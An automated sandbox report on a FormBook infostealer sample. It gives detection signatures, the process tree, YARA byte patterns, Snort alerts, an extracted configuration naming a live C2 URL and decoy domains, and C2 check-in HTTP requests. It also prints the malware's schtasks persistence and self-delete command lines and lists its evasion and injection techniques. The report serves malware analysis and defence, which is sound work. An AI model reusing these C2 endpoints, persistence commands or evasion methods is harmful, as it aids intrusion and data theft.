Play interactive tour

Edit tour

Analysis Report 08917506_by_Libranalysis

Overview

General Information

Sample Name:	08917506_by_Libranalysis (renamed file extension from none to exe)
Analysis ID:	403903
MD5:	089175069d5c095f078b7f8a3b28a22d
SHA1:	a563615dfe562e7a11c2b7f21dcfcd412594eeee
SHA256:	173797a7a7a881f3d6230015620bae28d21b4b41b7e568c2a881b3c0829dd67e
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses ipconfig to lookup or modify the Windows network settings

Uses schtasks.exe or at.exe to add and modify task schedules

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

08917506_by_Libranalysis.exe (PID: 1144 cmdline: 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe' MD5: 089175069D5C095F078B7F8A3B28A22D)

schtasks.exe (PID: 5596 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

08917506_by_Libranalysis.exe (PID: 1020 cmdline: C:\Users\user\Desktop\08917506_by_Libranalysis.exe MD5: 089175069D5C095F078B7F8A3B28A22D)

explorer.exe (PID: 3292 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

ipconfig.exe (PID: 6820 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: B0C7423D02A007461C850CD0DFE09318)

cmd.exe (PID: 7048 cmdline: /c del 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.evrbrite.com/o86d/"], "decoy": ["marielivet.com", "shadowlovely.com", "novfarm.com", "genialnetero.com", "nj-yanhua.com", "thaihuay88.com", "iizponja.com", "stark-stg.net", "nueforma.com", "fincheckxu.com", "joycasino-2020.club", "9thwrld.com", "komofood.com", "weekendcost.com", "marczeimet.com", "santequebec.info", "arpinaindustriesllc.com", "soyakmuzayede.com", "trivesse.online", "shonanwakukengyou.com", "whatisleanmanagement.com", "9icem.com", "blueberry-intl.com", "mylifequotenow.com", "octafxmate.com", "garnogroup.com", "saurara.com", "mydreamtv.net", "1fhewm.com", "agungproduk.com", "be7tv.com", "ohyescart.com", "sherylabrahamphotography.com", "oxfordfinancialadvising.com", "xn--80aaf2ckffc3a.xn--p1acf", "firstcoastelope.com", "novaquitaine-solidaire.com", "morumi.site", "lr-tn.com", "avondalevotes.com", "saranaturals.net", "thebraidedbreadcompany.com", "recruit-japan-hcm.com", "innovate.works", "changfangxinxi.com", "ckitco.com", "lacommusic.net", "cibass.com", "cafeciberseguridad.com", "fittogo.net", "franciszekmanteau.com", "liquidmarin.com", "toky5555.xyz", "bloomberg.sucks", "bluejay.ventures", "valleywomanforwoman.com", "helmutbuntjer.com", "870830.com", "xmrxapp.com", "lashicorn.com", "visionsbarbershop.com", "cinmax.xyz", "website-bazar.com", "zenseotools.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xf2bf8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xf2f82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x119e18:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x11a1a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xfec95:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x125eb5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xfe781:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1259a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xfed97:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x125fb7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xfef0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x12612f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xf399a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x11abba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xfd9fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x124c1c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xf4712:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x11b932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x103d87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x12afa7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x104e2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x100cb9:$sqlite3step: 68 34 1C 7B E1 0x100dcc:$sqlite3step: 68 34 1C 7B E1 0x127ed9:$sqlite3step: 68 34 1C 7B E1 0x127fec:$sqlite3step: 68 34 1C 7B E1 0x100ce8:$sqlite3text: 68 38 2A 90 C5 0x100e0d:$sqlite3text: 68 38 2A 90 C5 0x127f08:$sqlite3text: 68 38 2A 90 C5 0x12802d:$sqlite3text: 68 38 2A 90 C5 0x100cfb:$sqlite3blob: 68 53 D8 7F 8C 0x100e23:$sqlite3blob: 68 53 D8 7F 8C 0x127f1b:$sqlite3blob: 68 53 D8 7F 8C 0x128043:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 08917506_by_Libranalysis.exe PID: 1144	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
5.2.08917506_by_Libranalysis.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.08917506_by_Libranalysis.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.08917506_by_Libranalysis.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158a9:$sqlite3step: 68 34 1C 7B E1 0x159bc:$sqlite3step: 68 34 1C 7B E1 0x158d8:$sqlite3text: 68 38 2A 90 C5 0x159fd:$sqlite3text: 68 38 2A 90 C5 0x158eb:$sqlite3blob: 68 53 D8 7F 8C 0x15a13:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp', ParentImage: C:\Windows\SysWOW64\schtasks.exe, ParentProcessId: 5596, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 360

Persistence and Installation Behavior:

Sigma detected: Scheduled temp file as task from temp location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp', CommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp', CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe' , ParentImage: C:\Users\user\Desktop\08917506_by_Libranalysis.exe, ParentProcessId: 1144, ProcessCommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp', ProcessId: 5596

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.evrbrite.com/o86d/"], "decoy": ["marielivet.com", "shadowlovely.com", "novfarm.com", "genialnetero.com", "nj-yanhua.com", "thaihuay88.com", "iizponja.com", "stark-stg.net", "nueforma.com", "fincheckxu.com", "joycasino-2020.club", "9thwrld.com", "komofood.com", "weekendcost.com", "marczeimet.com", "santequebec.info", "arpinaindustriesllc.com", "soyakmuzayede.com", "trivesse.online", "shonanwakukengyou.com", "whatisleanmanagement.com", "9icem.com", "blueberry-intl.com", "mylifequotenow.com", "octafxmate.com", "garnogroup.com", "saurara.com", "mydreamtv.net", "1fhewm.com", "agungproduk.com", "be7tv.com", "ohyescart.com", "sherylabrahamphotography.com", "oxfordfinancialadvising.com", "xn--80aaf2ckffc3a.xn--p1acf", "firstcoastelope.com", "novaquitaine-solidaire.com", "morumi.site", "lr-tn.com", "avondalevotes.com", "saranaturals.net", "thebraidedbreadcompany.com", "recruit-japan-hcm.com", "innovate.works", "changfangxinxi.com", "ckitco.com", "lacommusic.net", "cibass.com", "cafeciberseguridad.com", "fittogo.net", "franciszekmanteau.com", "liquidmarin.com", "toky5555.xyz", "bloomberg.sucks", "bluejay.ventures", "valleywomanforwoman.com", "helmutbuntjer.com", "870830.com", "xmrxapp.com", "lashicorn.com", "visionsbarbershop.com", "cinmax.xyz", "website-bazar.com", "zenseotools.com"]}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\OfCxSfBf.exe

ReversingLabs: Detection: 17%

Multi AV Scanner detection for submitted file

Show sources

Source: 08917506_by_Libranalysis.exe	Virustotal: Detection: 23%			Perma Link
Source: 08917506_by_Libranalysis.exe	ReversingLabs: Detection: 17%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\OfCxSfBf.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: 08917506_by_Libranalysis.exe

Joe Sandbox ML: detected

Source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: 08917506_by_Libranalysis.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: 08917506_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: ipconfig.pdb source: 08917506_by_Libranalysis.exe, 00000005.00000002.295591762.0000000003150000.00000040.00000001.sdmp
Source:	Binary string: ipconfig.pdbGCTL source: 08917506_by_Libranalysis.exe, 00000005.00000002.295591762.0000000003150000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 08917506_by_Libranalysis.exe, 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, ipconfig.exe, 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 08917506_by_Libranalysis.exe, ipconfig.exe
Source:	Binary string: mscorrc.pdb source: 08917506_by_Libranalysis.exe, 00000000.00000002.260684849.0000000009280000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 4x nop then mov esp, ebp		0_2_05818E80
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 4x nop then mov esp, ebp		0_2_05818E73

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49734 -> 67.222.39.83:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49734 -> 67.222.39.83:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49734 -> 67.222.39.83:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 206.189.46.186:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 206.189.46.186:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49736 -> 206.189.46.186:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49749 -> 192.0.78.24:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49749 -> 192.0.78.24:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49749 -> 192.0.78.24:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 162.0.232.119:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 162.0.232.119:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49752 -> 162.0.232.119:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.evrbrite.com/o86d/

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe

DNS query: www.cinmax.xyz

Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=FLq1m09lMNVeUGxb2EGlpEcYOBglVjP6VclDGdRBVwR1mwk4Bp+oxJyzVgRWjmk7leVMWGvpeQ==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.cinmax.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.genialnetero.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
